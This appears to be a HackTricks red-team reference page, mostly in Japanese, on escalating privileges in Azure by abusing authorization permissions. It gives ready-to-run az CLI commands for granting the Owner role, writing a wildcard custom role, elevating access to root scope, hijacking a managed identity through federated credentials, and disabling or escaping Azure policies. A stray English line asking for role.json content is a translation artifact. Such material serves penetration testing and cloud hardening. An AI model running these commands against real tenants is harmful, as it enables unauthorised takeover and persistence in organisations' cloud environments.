Az - Azure IAM Privesc (Authorization)

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Azure IAM

詳細は以下を確認:

Az - Entra ID (AzureAD) & Azure IAM

principal が authorization 自体を変更 できる権限は、通常 privesc primitives です。これは特に management groupsubscription スコープで付与された場合に危険で、権限が子リソースへ継承されます。

Microsoft.Authorization/roleAssignments/write

この権限により、特定の scope に対して role assignments を作成できます。これにより、攻撃者は自分自身または制御下にある別の principal に、より高権限の role を割り当てて権限を昇格できます。

Typical flow:

# Login and confirm current context
az login
az account show

# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"

侵害された principal がその scope に対してこの action を持っている場合、OwnerContributorKey Vault Secrets Officer、またはその scope で利用可能な他の built-in/custom role などの privileged role を直接付与できます:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

ターゲットの user/service principal/managed identity の principal object ID を知っているだけで、新しい role を付与するのに十分です。これは、別の制御下にある principal に role を割り当てることで、self-privesclateral movement、または persistence に悪用できます。

Microsoft.Authorization/roleDefinitions/write

この permission は custom role definitions の作成または変更を許可します。実際には、これは危険です。なぜなら攻撃者は次のことができるからです。

  • すでに侵害された principal に already assigned されている custom role を変更し、新しい permissions を即座に有効化する。
  • 新しい過剰権限の custom role を作成し、通常は Microsoft.Authorization/roleAssignments/write と連携してそれを割り当てる。

Typical flow:

# Find the current assignments
az role assignment list --all --output table

# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"

Please provide the content that should go inside role.json.

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}

その後、以前の定義を呼び出して role permissions を更新します:

az role definition update --role-definition role.json

変更された role がすでに attacker に割り当てられている場合、新しい role assignment を作成するよりもこちらのほうが速い path になりえます。なぜなら、permission inflation が既存の assignment に適用されるからです。
attacker が roleDefinitions/write しか持っていない場合でも、compromised principals にすでに割り当てられている roles を変更することで、これを weaponize できます。

Microsoft.Authorization/elevateAccess/action

この permissions は、privileges を elevate し、Azure resources に対して任意の principal に permissions を assign できるようにします。これは Entra ID Global Administrators に付与されることを想定しており、彼らが Azure resources 上の permissions も管理できるようにするためのものです。

Tip

elevate call を機能させるには、ユーザーが Entrad ID で Global Administrator である必要があると思います。

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

この権限は、user-assigned managed identities 上に Federated Identity Credentials (FICs) を作成/更新することを許可します。実際には、攻撃者が外部 identity provider への新しい trust relationship を追加し、その managed identity として token を取得できるようになります。

これは persistence / identity hijacking primitive です。managed identity がすでに Azure resources への access を持っている場合、攻撃者は一致する外部 workload(たとえば GitHub Actions workflow)を作成し、外部 token を Azure tokens と交換するだけで済みます。

悪用する前に確認すると有用な点:

  • どの managed identity を変更できるか
  • その managed identity に既に割り当てられている scope/roles は何か
  • token exchange 時に受け入れられる issuersubjectaudience は何か

専用の CLI command で FIC を作成できます:

az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"

または raw REST を使う。

managed identity に GitHub repo へのアクセスを付与する例のコマンド:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

FIC が作成されると、攻撃者は外部 workload から認証し、Azure ですでに付与されている managed identity の権限を使用できます。GitHub OIDC / workload identity の abuse について詳しくは、以下を確認してください:

Az Federation Abuse

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

management group、subscription、または resource group に対して Microsoft.Authorization/policyAssignments/write または Microsoft.Authorization/policyAssignments/delete 権限を持つ攻撃者は、Azure policy assignments を変更または削除でき、特定の操作をブロックするsecurity restrictions を無効化できる可能性があります。

これにより、以前は policy によって保護されていた resource や functionality にアクセスできます。

policy assignment を削除する:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

ポリシー割り当てを無効化する:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

変更を確認:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Microsoft.Authorization/policyDefinitions/write 権限を持つ attacker は、Azure policy definitions を変更でき、環境全体の security restrictions を制御する rules を改変できます。

たとえば、resource 作成時に許可される region を制限する policy を、任意の region を許可するように変更したり、policy effect を変更して無効化したりできます。

policy definition を変更する:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

変更を確認してください:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Microsoft.Management/managementGroups/write 権限を持つ攻撃者は、management groups の階層構造を変更したり、新しい management groups を作成したりでき、上位レベルで適用された制限的な policies を回避できる可能性があります。

たとえば、攻撃者は制限的な policies のない新しい management group を作成し、その後 subscriptions をそこに移動できます。

新しい management group を作成:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

管理 group hierarchy を modify する:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

変更を確認:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Microsoft.Management/managementGroups/subscriptions/write 権限を持つ攻撃者は、subscription を management group 間で移動でき、より制限の緩い、または制限のない policies を持つ group に subscription を移すことで、制限的な policies を回避できる可能性があります。

subscription を別の management group に移動する:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

変更を確認してください:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

References

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする